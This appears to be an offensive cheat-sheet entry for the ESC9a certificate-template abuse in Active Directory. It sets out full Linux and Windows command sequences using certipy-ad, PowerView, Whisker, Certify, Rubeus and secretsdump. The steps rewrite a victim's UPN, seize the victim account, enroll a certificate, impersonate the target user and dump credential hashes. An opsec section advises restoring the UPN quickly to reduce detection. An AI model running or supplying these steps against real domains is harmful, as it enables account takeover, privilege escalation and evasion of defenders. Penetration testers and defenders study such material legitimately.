ADCSESC9a
ESC9a: No security extension (CT_FLAG_NO_SECURITY_EXTENSION) on template + GenericWrite on a user account β change the victim's UPN to match a target user, enroll a cert as the victim, reset UPN, then authenticate as the target.
Applies to: Principals with GenericWrite (or WriteSPN/AddKeyCredentialLink/ForceChangePassword) on a user account β vulnerable template (no szOID_NTDS_CA_SECURITY_EXT) β Enterprise CA
Linux Abuse
certipy-ad
# Step 1: Find vulnerable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Save victim's current UPN (for restore)
# Check with: ldapsearch or BloodHound
# Step 3: Change victim's UPN to target user's UPN
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user <victim-user> -upn <target-user>@<domain>
# Step 4: Get credentials for victim account
# Option A β Shadow Credentials (if AddKeyCredentialLink on victim)
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-account <victim-user>
# Outputs victim hash/TGT
# Option B β Force password reset (if ForceChangePassword)
net rpc password '<victim-user>' '<new-password>' -U '<domain>/<username>%<password>' -S <dc-ip>
# Step 5: Enroll cert as victim (UPN now points to target)
certipy-ad req -u <victim-user>@<domain> -p '<victim-password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>'
# Or use victim hash: -hashes ':<victim-ntlm>'
# Step 6: Restore victim's UPN (critical β prevents lockout detection)
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user <victim-user> -upn <victim-user>@<domain>
# Step 7: Authenticate as target
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Step 8: PTH
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'
Set mail attribute if template requires it
echo -e "dn: <victim-dn>\nchangetype: modify\nreplace: mail\nmail: dummy@mail.com" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
Windows Abuse
PowerView + Certify.exe + Rubeus
# Step 1: Save victim's current UPN
Get-DomainObject -Identity <victim-user> -Properties userprincipalname
# Step 2: Change victim UPN to target
Set-DomainObject -Identity <victim-user> -Set @{'userprincipalname'='<target-user>@<domain>'}
# Step 3: Set mail attribute if needed
Set-DomainObject -Identity <victim-user> -Set @{'mail'='dummy@mail.com'}
# Step 4: Get victim session (shadow creds / password reset / kerberoast)
# Shadow creds example:
Whisker.exe add /target:<victim-user>
Rubeus.exe asktgt /user:<victim-user> /certificate:<pfx-base64> /domain:<domain> /ptt
# Step 5: Enroll cert as victim
Certify.exe request /ca:<ca-host>\<ca> /template:<template>
# Step 6: Restore victim UPN
Set-DomainObject -Identity <victim-user> -Set @{'userprincipalname'='<victim-user>@<domain>'}
# Step 7: TGT as target
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /ptt
Opsec
- UPN change is logged in AD (Directory Service Changes, Event ID 4738 β user account changed).
- Restore the UPN immediately after enrollment to minimize detection window.
- CA retains the issued cert; requesting principal (victim account) and subject (target UPN) are both visible.